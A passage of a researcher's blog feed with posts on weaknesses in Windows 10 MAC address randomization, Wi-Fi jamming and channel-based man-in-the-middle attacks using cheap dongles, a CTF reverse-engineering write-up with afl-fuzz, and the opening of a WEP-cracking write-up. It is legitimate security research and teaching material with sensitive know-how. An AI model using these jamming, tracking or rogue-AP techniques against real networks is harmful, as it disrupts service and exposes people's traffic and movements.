<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhir91GA1MhndwSQ84o9n5N2kDlGXYjzTfV4Yfu3jjPJzQAceg2y139ATgmyF56Q_2crWos-C0rgLsxjBN2dkRqSbXK3bFaNp343LdGxkt7EgIKpbZ-DlAF2YCRlXw5qrfolOg2TQWKuuYV/s1600/editit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="369" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhir91GA1MhndwSQ84o9n5N2kDlGXYjzTfV4Yfu3jjPJzQAceg2y139ATgmyF56Q_2crWos-C0rgLsxjBN2dkRqSbXK3bFaNp343LdGxkt7EgIKpbZ-DlAF2YCRlXw5qrfolOg2TQWKuuYV/s400/editit.png" width="400" /></a></div>
<br />
And now the network icon is gone in your lock screen. No annoying people can now mess with your network configuration when you lock your device! Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com3tag:blogger.com,1999:blog-3500917063499850097.post-568673868652535122016-03-07T20:21:00.000+01:002016-04-13T04:39:21.386+02:00How MAC Address Randomization Works on Windows 10<div style="text-align: justify;">
When Apple announced its devices would use random MAC addresses when searching for Wi-Fi networks, it received extensive media attention. And rightly so. It prevents companies from <a href="https://www.youtube.com/watch?v=C5EejdkA0Is">tracking your movements</a>, and Apple was the first major player to start doing this. Windows and Android are quietly trying to catch up. As a result, some devices running Windows now support MAC address randomization, and we will discuss how it's implemented, and where it fails. This information is a small selection from the recent paper <a href="http://papers.mathyvanhoef.com/asiaccs2016.pdf">Why MAC Address Randomization is not Enough: An Analysis of Wi-Fi Network Discovery Mechanisms</a>. </div>
<div style="text-align: justify;">
<br />
<b>Update:</b> we have contacted Microsoft, and they are in the process of addressing the vulnerabilities we discovered.<br />
<br />
<b><span style="font-size: x-large;">How it works</span></b><br />
<br /></div>
<div style="text-align: justify;">
Microsoft first added support for MAC address randomization in Windows 10. Unfortunately, it's only available if you have a WiFi card and driver that support it. For example, the Intel 7265 AC, when using the latest driver, supports randomization [1]. You can see if your hardware supports MAC address randomization by going through the following menus:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEira6smpg_yCtaHwNXVyiNqHiHUq0P6IyTzrxZ2zJtmHGAgO3UrtvLqMcBkC_uwK4pBapJwFjlDh4FWWrayrCodc0lse3wi-5HtKBnncQ1pif0_XzAOfPKN4YAr0sv80aYmBYppS9Ex2lvq/s1600/screen1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEira6smpg_yCtaHwNXVyiNqHiHUq0P6IyTzrxZ2zJtmHGAgO3UrtvLqMcBkC_uwK4pBapJwFjlDh4FWWrayrCodc0lse3wi-5HtKBnncQ1pif0_XzAOfPKN4YAr0sv80aYmBYppS9Ex2lvq/s1600/screen1.png" /></a></div>
<span id="goog_368204111"></span><span id="goog_368204112"></span><br /></div>
<div style="text-align: justify;">
If your hardware supports MAC address randomization, you will see the following option at the top of the window:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQVODI6KPAjUHUx5JATUh-UcNLCoGHDSdpK1Q3DIGhyVpNPTRdve-HJHU2x_T6try2Yoqtr86MdwKQMrIFoKbEqygDsHz9O5I5Pq3OL2mS4cD1sHoAuNbxiOjz2V1NTuerbOFiUwPgVb_j/s1600/screen2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQVODI6KPAjUHUx5JATUh-UcNLCoGHDSdpK1Q3DIGhyVpNPTRdve-HJHU2x_T6try2Yoqtr86MdwKQMrIFoKbEqygDsHz9O5I5Pq3OL2mS4cD1sHoAuNbxiOjz2V1NTuerbOFiUwPgVb_j/s1600/screen2.png" /></a></div>
<br />
<br />
As you can see, I have it enabled on my laptop. So far it's been working quite well. What's very interesting about Microsoft's approach is that it <b>also uses random MAC addresses when connecting to a wireless networks</b>. In contrast, Apple only uses random addresses when searching for nearby networks, and it falls back to its original address when connecting to a network. In this aspect Windows 10 offers better privacy than Apple.<br />
<br />
Using a random MAC address to connect to a network can cause problems if users are authenticated (i.e., recognized) based on their MAC address [2]. Interestingly, Windows avoids this issue by <b>always using the same random address every time it
connect to a specific network</b>. For example, let's say you want to pay for Wi-Fi access, and they authenticate you based on your MAC address. Then this is not a problem. The first time you connect, Windows will generate a random MAC address. And if you reconnect to this network at a later point in time, Windows will reuse the previously generated address. Therefore the system can still recognize you, and you don't have to pay twice. There's one downside to this approach: since you always use the same address when connecting to a particular network, an adversary can learn when certain devices connect to specific networks. Nevertheless, compared to the old situation where you'd always use the original MAC address, it improves your privacy.<br />
<br />
Technically, the random MAC address that is used to connect to a network is calculated as [5]:<br />
<blockquote class="tr_bq">
address = SHA-256(SSID, real MAC address, connectionId, secret)[:6]</blockquote>
Here <i>SSID</i> is the name of the network you are connecting to, <i>real MAC address</i> the original address of your network interface, and <i>connectionId</i> is a value that changes every time the user removes (and re-adds) the network (i.e., this value is updated if you "forget" the network under Windows 10). The <i>secret</i> parameter is a 256-bit cryptographic random number, generated during system initialization, and kept the same across reboots. Every interface has a different value of the <i>secret</i> parameter, to assure each interface gets different random MAC address. Finally, bits in the most significant byte of <i>address</i> are set so it becomes a <a href="https://packetsdropped.wordpress.com/2011/01/13/mac-address-universally-or-locally-administered-bit-and-individualgroup-bit/">locally administered, unicast address</a>. While the <a href="https://www.ietf.org/proceedings/93/slides/slides-93-intarea-5.pdf">presentation by Huitema</a> partly described this process, our paper is the <b>first to describe this formula in full detail</b>.<br />
<br />
It's also possible to disable randomization for certain networks. In this case Windows will use the original address when connecting to a network. You can configure this through the following settings <b>when you are currently connected to the network</b>:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOH1rENbTide7CsAaeVGzEgqKlSoksk9y7yBeNN8KY2_zQUde0V3exIuWdrTgn4XvWJ_fHfH0-VsXA9ognwRYq0hpQbHytRzBrM2nfuLAJ2UJvCIL8tM1jBWTMLjKOUq_9SvHNstiwVMt5/s1600/screen3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOH1rENbTide7CsAaeVGzEgqKlSoksk9y7yBeNN8KY2_zQUde0V3exIuWdrTgn4XvWJ_fHfH0-VsXA9ognwRYq0hpQbHytRzBrM2nfuLAJ2UJvCIL8tM1jBWTMLjKOUq_9SvHNstiwVMt5/s1600/screen3.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
Notice that the user has three options for each specific network:<br />
<ul>
<li>On: the same random MAC address is always used when connecting to this network.</li>
<li>Off: the original MAC address is used.</li>
<li>Change daily: every day a new random MAC address is used.</li>
</ul>
</div>
<div style="text-align: justify;">
Remark that if randomization is enabled, independent of the above options, Windows 10 will always use random MAC addresses when scanning for nearby networks. This <b>"scanning" address changes every time you connect (and disconnect) from a network</b>, and when you restart your device [3]. Hence it doesn't change that frequently, but it's still sufficient to prevent tracking over extended periods of time. In contrast, Apple changes the scanning address roughly every few minutes, which provides more privacy. <br />
<br />
<b><span style="font-size: x-large;">Basic Security Analysis</span></b><br />
<br />
<b>Randomization as implemented in Windows 10 significantly improves your privacy. So enable it!</b> Unfortunately, it's not perfect, because there are still some ways to defeat or bypass it.<br />
<br />
The first weakness is that the sequence number contained in WiFi frames is not reset when changing the (random) MAC address. This sequence number, which is present in most Wi-Fi frames, is used to detected retransmissions, and is incremented by one after successfully transmitting a frame. As shown in the picture below, when the MAC address changes because the user connects to a network, the sequence counter is not reset:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg78FQrGFunW0ATL4ra3lL43i-Q5LvcIiAwrlyoFMA4QaZKwBhf_bVvX1LnpczlNY7wYak-Q0UKR56PEnoSKzlJhyxXT5WTfVtihuav6TBO6p2QmqBo5_ZnfUPMKGl0Hlyk2AUMQtDqnNq7/s1600/seqnum.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg78FQrGFunW0ATL4ra3lL43i-Q5LvcIiAwrlyoFMA4QaZKwBhf_bVvX1LnpczlNY7wYak-Q0UKR56PEnoSKzlJhyxXT5WTfVtihuav6TBO6p2QmqBo5_ZnfUPMKGl0Hlyk2AUMQtDqnNq7/s1600/seqnum.png" /></a></div>
<br />
The last frame from ea:69:0a:* has the sequence number of 92, and the other address 7c:5c:f8:* has the sequence number 94. Based on this an adversary can reasonably conclude that both frames are sent by the same device. In other words, he learns that the same device was using both addresses, defeating the purpose of address randomization.<br />
<br />
The second problem is that Windows 10 reveals its real MAC address when interacting with Hotspot 2.0 networks. But what's Hotspot 2.0? Simply put, <a href="https://www.youtube.com/watch?v=xJQiMp8LBVU">Hotspot 2.0 is a new standard to automatically and securely roam between WiFi networks</a>. No manual interaction is needed. Your device automatically determines whether you have the appropriate credentials (passwords) to connect to a network. Think of this like the cellular network: when you get off the plane, your phone automatically finds and connects to a foreign cellular network. Hotspot 2.0 provides a similar experience for WiFi.<br />
<br />
In order to accomplish automatic roaming, Hotspot 2.0 sends ANQP queries to the Access Point before connecting to it. These ANQP queries request detailed information about the wireless network. This information includes the credentials that are needed to connect with the hotspot, whether the hotspot provides internet access or only local network access, etc. Unfortunately, Windows 10 sends these ANQP queries using the real (original) MAC address:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjH5EcKoU12lvQyFQaJD9OPPcbEhBXYfsbPts45aJ1vkkM-YpUYbJKyHmALbjtagxW6WdVnbih1hZTo7Itu9xB4qG2tWrfMTBGS1V8QIcFsK_1e51rSH55Hq633c_8_L3kjF7JuwYC778E/s1600/anqp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjH5EcKoU12lvQyFQaJD9OPPcbEhBXYfsbPts45aJ1vkkM-YpUYbJKyHmALbjtagxW6WdVnbih1hZTo7Itu9xB4qG2tWrfMTBGS1V8QIcFsK_1e51rSH55Hq633c_8_L3kjF7JuwYC778E/s1600/anqp.png" /></a></div>
<br />
In the first probe request it uses the random MAC address 2a:b3:e6:*. These probe requests are used to detect the presence of networks. If there's a Hotspot 2.0 network nearby, <b>Windows will send ANQP requests using the real MAC address</b>, in this case 7c:5c:f8:*. Therefore an attacker can obtain your real MAC address by advertising a Hotspot 2.0 network. Thankfully, Windows 10 only sends ANQP queries if at least one Hotspot 2.0 is configured. Since this standard is not yet widely deployed, few users will have such a network configured [4].<br />
<br />
<b><span style="font-size: x-large;">Detailed Security Analysis</span></b><br />
<br />
Want to know all flaws that are present in existing implementations of MAC address randomization? And this specifically for Android, Apple, Linux, and Windows? Then read my paper <a href="http://papers.mathyvanhoef.com/asiaccs2016.pdf"><b>Why MAC Address Randomization is not Enough: An Analysis of Wi-Fi Network Discovery Mechanisms</b></a> [5]! It has everything explained in technical detail.<br />
<br />
<br />
<span style="font-size: x-large;"><b>References and Footnotes</b></span><br />
<br />
[1] If you have an Intel 7260 AC, you can also force Windows 10 to use the drivers of the Intel 7265 AC. Your device will still work, and will support MAC address randomization.<br />
[2] Even though authentication based on the MAC address is utterly
insecure (an adversary can easily spoof a MAC address), it's still used
by many systems.<br />
[3] C. Huitema. Personal communication, Nov. 2015.<br />
[4] One notable exception is the <a href="https://nghtrial.boingo.com/">Passpoint configuration provided by Boingo</a>. Essentially Passpoint is a synonym of Hotspot 2.0. If you have this configuration installed, you have a Hotspot 2.0 capable device, and the Boingo configuration will use Hotspot 2.0. This means Windows will send ANQP queries to nearby Hotspot 2.0 networks.<br />
[5] M. Vanhoef, C. Matte, M. Cunche, L. S. Cardoso, and F. Piessens. <a href="http://papers.mathyvanhoef.com/asiaccs2016.pdf">Why MAC Address Randomization is not Enough: An Analysis of Wi-Fi Network Discovery Mechanisms</a> (AsiaCCS 2016).</div>
Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com6tag:blogger.com,1999:blog-3500917063499850097.post-83753107130216153012015-10-15T00:28:00.001+02:002023-05-28T17:06:48.007+02:00Advanced WiFi Attacks Using Commodity Hardware<div style="text-align: justify;">
The WiFi protocol assumes all clients behaves fairly. This means a station will give others a chance to transmit packets, before it starts transmitting itself. It's known that with a software defined radio such as a USRP, a user can implement the WiFi protocol themselves and not follow these rules.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/9RiETeQ.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/9RiETeQ.png" /></a></div>
<div style="text-align: center;">
<i>A desktop computer, antenna, two USRPs on top of each other, and a signal analyzer.</i></div>
<br />
An attacker can also use this equipment to create a constant jammer, which continuously transmits noise, and makes the channel completely unusable. In principle an attacker could also turn on a badly shielded microwave to jam the channel :-) However, that doesn't give the attacker control over which frequency is jammed, bandwidth of the emitted noise, nor the emitted noise pattern.<br />
<br />
It's even possible to implement a more sophisticated <i>selective</i> jammer. Such a jammer is capable of only jamming specific packets (e.g. only packets sent by a certain device). While it's already known this is possible using expensive hardware such as USRPs, we found that even cheap WiFi dongles can be used to implement all these attacks. It's especially surprising that a selective jammer can be implemented on a cheap WiFi dongle, since it must be fast enough to detect and subsequently jam a packet.</div>
<div style="text-align: justify;">
<br />
Our attacks were <a href="https://lirias.kuleuven.be/bitstream/123456789/473761/1/acsac2014.pdf">first published at ACSAC 2014</a> and subsequently demonstrated at <a href="http://people.cs.kuleuven.be/~mathy.vanhoef/papers/brucon2015_slides.pdf">BruCON 2015</a>. Additionally our <b><a href="https://github.com/vanhoefm/modwifi">code is available on github</a></b>! You can also<a href="https://www.youtube.com/watch?v=ak9vU1hpjhM"> view my presentation at BruCON</a> online.</div>
<br />
<div style="text-align: justify;">
<span style="font-size: x-large;">Selfish Behavior</span></div>
<div style="text-align: justify;">
<br />
When a station wants to transmit a packet, but the channel is already in use by another device, it first waits until this transmission is done. Then it waits a random period (called the backoff period), and if no one else starts transmitting during this period, the station may send the packet. We found that it's easy to disable the random backoff period on commodity devices, meaning it will instantly transmit packets. More interestingly, we found that even the original driver and firmware for our device incorrectly calculated the backoff period, giving itself an unfair advantage over other stations! It turns out that many devices do this to gain an unfair advantage:</div>
<div style="text-align: justify;">
<blockquote class="tr_bq">
<i>Over six Wi-Fi cards, neither one performs as expected. In some cases, implementation issues seem to affect the proper card operation. In other cases, manufacturers rely on backoff parameters different from the standard specification, this <b>perhaps being done on purpose to provide an unfair advantage</b>.</i> [Minimized conclusion from <a href="https://scholar.google.be/scholar?cluster=6477437223947747492">this paper</a>]</blockquote>
This raises the question what would happen if there are two stations that both behave selfishly by disabling the backoff period. In other words, what happens if two selfish stations instantly transmit all packets they have queued? You may think that the packets of both selfish stations will collide, and as a result both are lost in the collision. It turns out this is not the case! Due to the capture effect, the packet having the highest signal quality and lowest bitrate will get decoded properly. You can compare this to receiving two radio stations on the same frequency, where generally one station will "win the collision" (<a href="https://www.youtube.com/watch?v=iJ8JEdDgePA">see this demo video</a>). This means <b>selfish stations will abuse the <a href="https://en.wikipedia.org/wiki/Capture_effect">capture effect</a>, and reduce their bitrate, in order to win the collision</b> (and have their packet decoded correctly by the receiver). Surprisingly, we now get that selfish clients wanting to <i>maximize</i> their throughput, will <i>reduce</i> their bitrate!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/kwO8YBr.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/kwO8YBr.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<i>One of our WiFi dongles attached to a Raspberry Pi</i></div>
</div>
<div style="text-align: justify;">
<br />
There is a research prototype called <a href="https://scholar.google.be/scholar?cluster=9538883068692761185">DOMINO</a> which can detect and punish this type of selfish behavior. Unfortunately we discovered a critical flaw in this system. The problem is that this system bases some of its decisions on unauthenticated packets. As an attacker we can abuse this by forging packets which appear to be sent by a different station. Hence we can make DOMINO believe this client is acting selfishly, meaning it will be punished and thrown off the network. Moral of the story: only base your decisions on authenticated or hard-to-forge data.<br />
<br /></div>
<div style="text-align: justify;">
<span style="font-size: x-large;">Constant Jammer</span><br />
<br /></div>
<div style="text-align: justify;">
Our WiFi dongles can also be used to implement a constant jammer. The idea is straightforward: make the radio instantly transmit packets (even if someone else is transmitting), and then send an infinite amount of packets without interruption. The second part is tedious, since we can't queue many packets due to the limited amount of memory available in the WiFi dongle. However, we can simulate an infinite amount of packets. The packets queued for transmission are stored in a linked list. By turning this queue into a circular list we can simulate an infinite amount of packets.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/u8ZSPIxvJjg" width="560"></iframe>
</div>
<div style="text-align: justify;">
<div style="text-align: center;">
<br /></div>
What's interesting here is that in principle the jammer is constantly transmitting valid WiFi packets. However, because they are sent so fast after one another, other WiFi devices are unable to detect these packets. In other words, other WiFi devices operating in monitor mode only see noise, and will not detect/show and show any WiFi traffic. <br />
<br />
<span style="font-size: x-large;">Selective Jammer</span><br />
<br />
Arguably the most impressive result is that our cheap dongle can be used to implement a selective (also called reactive) jammer. Such a jammer decodes the header of a packet still in the air, and based on information in the header, decides whether to jam the remaining content or not. This is not an easy feat to accomplish. The selective jammer must be fast enough to decode the header, make the decision to jam the packet, put the antenna in transmit mode, and finally jam the packet. All this needs to be done in just a few microseconds (an average WiFi packet takes ~200 microseconds to transmit)!<br />
<br />
Jamming the end of the packet is easy, simply inject a packet like we did for the continuous jammer. But there is no support or API to be notified when a packet is <i>in the progress of</i> being received. How do we get around this? The important realization is that there are two chips inside our WiFi device. The first one is the radio which processes the incoming physical signal, and uses Direct Memory Access (DMA) to write the packet to memory. The second chip is the main CPU which is responsible for communicating with the host over USB and controlling the radio chip. Hence we can use the main CPU to constantly monitor the memory where the packet will be saved. Once we detect that the radio chip is writing bytes to this memory location, we know a frame is being received:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/zItwGzi.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/zItwGzi.png" /></a></div>
<div style="text-align: center;">
<i>When the memory is modified, we know a frame is being received.</i></div>
<br />
With this clever trick we can detect when a frame is being received. Our jammer then reads the MAC address(es) in the header, and compares it to the MAC address of the station we are targeting. If they match, the remaining content of the packet is jammed. This will cause the CRC (called the ICV in WiFi) of the packet to be wrong, meaning the packet will be dropped by the receiver.<br />
<br />
<div style="text-align: center;">
<iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/2m66kHykbO8" width="560"></iframe><br />
<i> </i></div>
<br />
The <a href="https://github.com/vanhoefm/modwifi">code of the reactive jammer is public</a>, feel free to play around with it (against a test network).<br />
<br />
<span style="font-size: x-large;">Channel-Based Man-in-the-Middle Attack</span><br />
<br />
As an example, we show how these low-layer attacks can be used to reliably manipulate encrypted traffic. Note that our goal is not to decrypt traffic. Instead, we want to be able to reliably drop, modify, and inject packets. This ability is typically required in order to launch actual (cryptographic) attacks against an higher-layer protocol. Previously when targeting wireless traffic, it was not clear how to do this: there were no known methods to obtain a (reliable) man-in-the-middle position between a client and access point if encryption is used.<br />
<br /></div>
<div style="text-align: justify;">
In order to intercept (not decrypt) all traffic of an encrypted wireless network, we cannot simply create a rogue Access Point (AP) with a different MAC address. When a client connects to the access point, not only are the credentials verified (e.g. shared password), but also the MAC addresses of the client and access point. Hence the client and AP will detect that an attacker was forwarding packets under different MAC addresses. Setting up a rouge AP with the same mac address as the real AP is futile: the client will simply directly communicate with the real AP (unless they are out of range of each other).<br />
<br />
Our solution is to clone the access point on a different channel, but with the same MAC address as the real access point. We forward all frames to the real AP. In other words, we forward packets between both channels. Using the constant jammer we force clients to switch to the channel where our rogue AP is located. Since we did not modify the MAC address of the AP, and also didn't modify the MAC address of the client, the client will successfully connect to the (rogue) AP. We now have a (channel-based) man-in-the-middle position, allowing reliable manipulation of encrypted traffic.</div>
<br />
<div style="text-align: justify;">
<div style="text-align: center;">
<iframe allowfullscreen="" frameborder="0" height="315" mozallowfullscreen="" src="https://player.vimeo.com/video/87857806" webkitallowfullscreen="" width="560"></iframe>
<i>Demonstration of the Channel-Based MiTM attack against WPA-TKIP</i><br />
<div style="text-align: left;">
<br /></div>
<div style="text-align: justify;">
The channel-based man-in-the-middle attack can be used to break <a href="https://en.wikipedia.org/wiki/Temporal_Key_Integrity_Protocol">WPA-TKIP</a> (people commonly, but incorrectly, refer to TKIP as WPA, and AES-CCMP as WPA2). The TKIP protocol was supposed to be a temporarily replacement of WEP, designed to run on old hardware. Unfortunately, for backwards compatibility, many networks still support both TKIP and the newer AES-CCMP. <b>If both these protocols are supported, the older TKIP protocol is used to encrypt all broadcast packets</b>. Without going into detail, the channel-based man-in-the-middle allows us to apply existing TKIP attacks to broadcast packets. Hence you should <b>configure your network so only (AES-)CCMP is enabled</b>!</div>
</div>
</div>
Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com7tag:blogger.com,1999:blog-3500917063499850097.post-56378707207978731982015-09-23T01:14:00.001+02:002015-09-23T15:22:39.675+02:00Solving CSAW challenge Wyvern (rev-500) using afl-fuzzWe're given a Linux binary which asks for input:<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> +-----------------------+<br /> | Welcome Hero |<br /> +-----------------------+<br /><br /> [!] Quest: there is a dragon prowling the domain.<br /> brute strength and magic is our only hope. Test your skill.<br /><br /> Enter the dragon's secret: <b>xxxx_find_secret</b><br /><br /> [-] You have failed. The dragon's power, speed and intelligence</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> was greater.</span><br />
<br />
Opening the binary in IDA shows that the <span style="font-family: "Courier New",Courier,monospace;">main()</span> function prints the above output. The input is processed by <span style="font-family: "Courier New",Courier,monospace;">start_quest(std::string)</span>. If this function returns 0x1337 the level is solved.<br />
<br />
Looking at the <span style="font-family: "Courier New",Courier,monospace;">start_quest</span> function, it first pushes 28 integers in a vector, does some "weird" if-tests, and finally calls <span style="font-family: "Courier New",Courier,monospace;">sanitize_input</span>. Interestingly, this function again contains a lot of similar and weird if-tests of the form:<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> if ( y4 < 10 || (((_BYTE)x3 - 1) * (_BYTE)x3 & 1) == 0 )</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> break;</span><br />
<br />
It appears this is some kind of obfuscation. At this point I guessed (and hoped) that the input would be checked character by character. This means that if we guess a character correctly, the program will execute a (new) different path in the program. This is ideal for <a href="http://lcamtuf.coredump.cx/afl/">afl-fuzz</a>, a fuzzer that detects "interesting fuzzing candidates" based on which path a program executes.<br />
<br />
Compiling afl-fuzz with afl-qemu-trace support allows us to fuzz binaries without access to source code:<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> $ mkdir indir</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> $ echo "test" > indir/test1.bin</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> $ afl-fuzz -Q -i indir -o sync_dir -M fuzzer01 ./wyvern</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> </span><span style="font-family: "Courier New",Courier,monospace;"><span style="font-family: "Courier New",Courier,monospace;"> $ afl-fuzz -Q -i indir -o sync_dir -S fuzzer02 ./wyvern</span></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><span style="font-family: "Courier New",Courier,monospace;"> ...</span></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><span style="font-family: "Courier New",Courier,monospace;"><span style="font-family: "Courier New",Courier,monospace;"> </span><span style="font-family: "Courier New",Courier,monospace;"><span style="font-family: "Courier New",Courier,monospace;"> $ afl-fuzz -Q -i indir -o sync_dir -S fuzzer07 ./wyvern</span> </span> </span> </span><br />
<br />
While the fuzzer will not find crashes, it does find inputs that trigger new execution paths in the program! It took roughly half an hour of fuzzing on 7 cores to get some interesting files:<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">$ xxd id\:000006\,src\:000005\,op\:flip1\,pos\:4</span><br />
<span style="font-family: "Courier New",Courier,monospace;">00: 6472 3467 3034 3434 3434 3434 34cd 617c dr4g044444444.a|</span><br />
<span style="font-family: "Courier New",Courier,monospace;">10: 6166 e803 666c 167c 6170 6116 47 af..fl.|apa.G</span><br />
<br />
All generated files are 28 bytes long. That's the number of integers pushed into the vector! And it seems it must start with dr4g0n. The integers being put into the vector are:<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> array = [0x64, 0xD6, 0x10A, 0x171, 0x1A1, 0x20F, 0x26E,</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> 0x2DD, 0x34F, 0x3AE, 0x41E, 0x452, 0x4C6, 0x538,</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> 0x5A1, 0x604, 0x635, 0x696, 0x704, 0x763, 0x7CC,</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> 0x840, 0x875, 0x8D4, 0x920, 0x96C, 0x9C2, 0xA0F]</span><br />
<br />
What's interesting is that 0x64 is the ascii value of "d". Does this vector somehow encode the flag? We know the second letter is "r" with value 0x72. How can we get this value? By subtracting the first integer, 0x64, from the subsequent one: 0xD6 - 0x64 = 0x72! The solution is:<br />
<span style="font-family: "Courier New",Courier,monospace;"><br /></span>
<span style="font-family: "Courier New",Courier,monospace;"> flag = ""<br /> base = 0<br /> for num in array:<br /> flag += chr(num - base)<br /> base = num<br /><br /> print flag</span><br />
<br />
Flag: dr4g0n_or_p4tric1an_it5_LLVM<br />
<br />
In hindsight it would've also been possible to use something like Intel PIN to count the number of executed instructions. The advantage of afl-fuzz is that it requires zero configuration: just give it some random start value and it works.Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com3tag:blogger.com,1999:blog-3500917063499850097.post-8401135366484446172015-03-23T11:50:00.000+01:002015-03-23T11:50:36.100+01:00Codegate 2015 Good_Crypto: Advanced WEP Cracking<div style="text-align: justify;">
In the <a href="https://github.com/ctfs/write-ups-2015/tree/master/codegate-ctf-2015">Codegate CTF</a> there was challenge based on a <a href="https://github.com/ctfs/write-ups-2015/raw/master/codegate-ctf-2015/programming/good-crypto/file.xz">wireless network capture</a>. Since I do research on wireless security, I <i>had</i> to solve this one! The challenge was:</div>
<br />
<div style="text-align: center;">
<blockquote class="tr_bq">
We recently intercepted some kind of <a href="https://github.com/ctfs/write-ups-2015/raw/master/codegate-ctf-2015/programming/good-crypto/file.xz">encrypted traffic</a>, can you help us recover the password?<br />
<br />
Update: Due to a crappy javascript programmer there's one line of code missing, but I'm sure you can figure out which one</blockquote>
</div>
<br />
<b><span style="font-size: x-large;">Step 1: Decrypting the Traffic </span></b><br />
<br />
<div style="text-align: justify;">
Inspection of a few packets in Wireshark hint that there is only one network, and that it uses WEP. To verify this we go to "Statistics > WLAN traffic":</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkU_bn4lYxDtuI7KfVrlsfRyYyfG7kCClLqb_v4lPGdh3FMwMuZWn9s08OnirySJlJnLs7F4mV7zWCK4UYJ9dLl-xBeQ_1k0seQ0N5H2wnk5_lHOFol5vSSfjQmTTtrFQZswkLV8uGwfki/s1600/network_overview_small.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkU_bn4lYxDtuI7KfVrlsfRyYyfG7kCClLqb_v4lPGdh3FMwMuZWn9s08OnirySJlJnLs7F4mV7zWCK4UYJ9dLl-xBeQ_1k0seQ0N5H2wnk5_lHOFol5vSSfjQmTTtrFQZswkLV8uGwfki/s1600/network_overview_small.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: justify;">
We have a network called <span style="font-family: "Courier New",Courier,monospace;">cgnetwork</span> which uses WEP. The only client is an <span style="font-family: "Courier New",Courier,monospace;">Apple</span> device, which communicates with the <span style="font-family: "Courier New",Courier,monospace;">EfmNetwo</span> router. Let's try to decrypt the traffic using <a href="http://www.aircrack-ng.org/doku.php?id=aircrack-ng">aircrack-ng</a>:</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
